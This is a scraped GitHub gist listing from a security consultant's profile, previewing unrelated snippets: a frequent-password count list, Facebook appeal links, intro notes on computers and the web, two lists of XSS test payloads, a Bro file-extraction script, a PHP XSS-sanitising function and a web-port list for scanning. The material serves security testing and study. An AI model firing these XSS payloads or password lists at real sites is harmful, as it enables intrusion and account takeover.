Skip to content

Instantly share code, notes, and snippets.

💭
Information Security Consulting, Threat Hunting

Minh Triet Pham Tran trietptm

💭
Information Security Consulting, Threat Hunting
Block or report user

Report or block trietptm

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:2e93da34e8b6582c60c2f52bd1cba574
('123456789', 235039)
('12345678', 212761)
('11111111', 76348)
('dearbook', 46053)
('00000000', 34953)
('123123123', 20010)
('1234567890', 17794)
('88888888', 15033)
('111111111', 6995)
('147258369', 5966)
View gist:d7ee94526b9f9b7367d80aef221725df
———————————————————————————————
Dưới đây là một số link kháng nghị cho các bạn tham khảo nha
– Chát với suport :
https://www.facebook.com/business/form/chat?hc_location=ufi
– Gửi kiến nghị cho facebook
www.facebook.com/help/127103474099499
– Đổi tên người dùng (URL) cho page:
https://www.facebook.com/help/contact/426864384041925
View how_computers_work.txt
How computers work
==================
Most people on the planet directly interact with computers on a daily
basis. They may be fooling around on their cell phone, writing a paper
for their homework, or playing video games. Despite the ubiquity
of digital computing devices, there is an astonishingly small number of
people who are familiar with the inner workings of these devices. Not
only that, but due to the fact most people think of computers in
View The_Internet.md

The Internet

Type in "g" & Enter

  • Browser's autocomplete technology kicks in
  • Enter key closes curcuit in keyboard, converts enter to 13, passes to the operating system
  • passed to OSX WindowServer which launches an event

Parse URL

  • Protocol: HTTP = Hyper Text Transfer Protocol
  • Protocol: HTTPS = Secure
  • Google.com = Server
View xss strings
"><img src=x onerror=alert(1)>
']); <body onload="alert(1);">
'"><img src=x onerror=prompt(0);>
%22%20onload=alert(1);%20%20noval=%22
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(document.cookie) type=submit>'-->"></script><script>alert(document.location)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://i.imgur.com/P8mL8.jpg">
@trietptm
trietptm / extract-files.bro
Created Dec 2, 2019 — forked from danzajork/extract-files.bro
bro script to extract all files to disk
View extract-files.bro
##! Extract all files to disk.
@load base/files/extract
event file_new(f: fa_file)
{
Files::add_analyzer(f, Files::ANALYZER_EXTRACT);
}
View XSS Protection in 5 common contexts
<?php
/**
* XSS protection function for HTML context only
* @usecases
* <title>use this function if output reflects here or as a content of any HTML tag.</title>
* e.g., <span>use this function if output reflects here</span>
* e.g., <div>use this function if output reflects here</div>
* @description
* Sanitize/Filter < and > so that attacker can not leverage them for JavaScript execution.
View xss attack vectors
<div style="color:rgb(''&#0;x:expression(alert(1))"></div>
<img/src=%00 id=confirm(1) onerror=eval(id)
<div id=confirm(1) onmouseover=eval(id)>X</div>
<span/onmouseover=confirm(1)>X</span>
<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&chr(83)&chr(83)))
View CommonWebPorts
`-p80,81,280,443,591,593,832,981,1311,2480,4444–4445,4567,5000,5104,5800,7000-7002,8008,8042,8080,8088,8222,8243,8280,8281,8333,8530-8531,8887-8888,8000,8443,9080,9443,9981,11371,12043,12046,12443,16080,18091-18092` (edited)
You can’t perform that action at this time.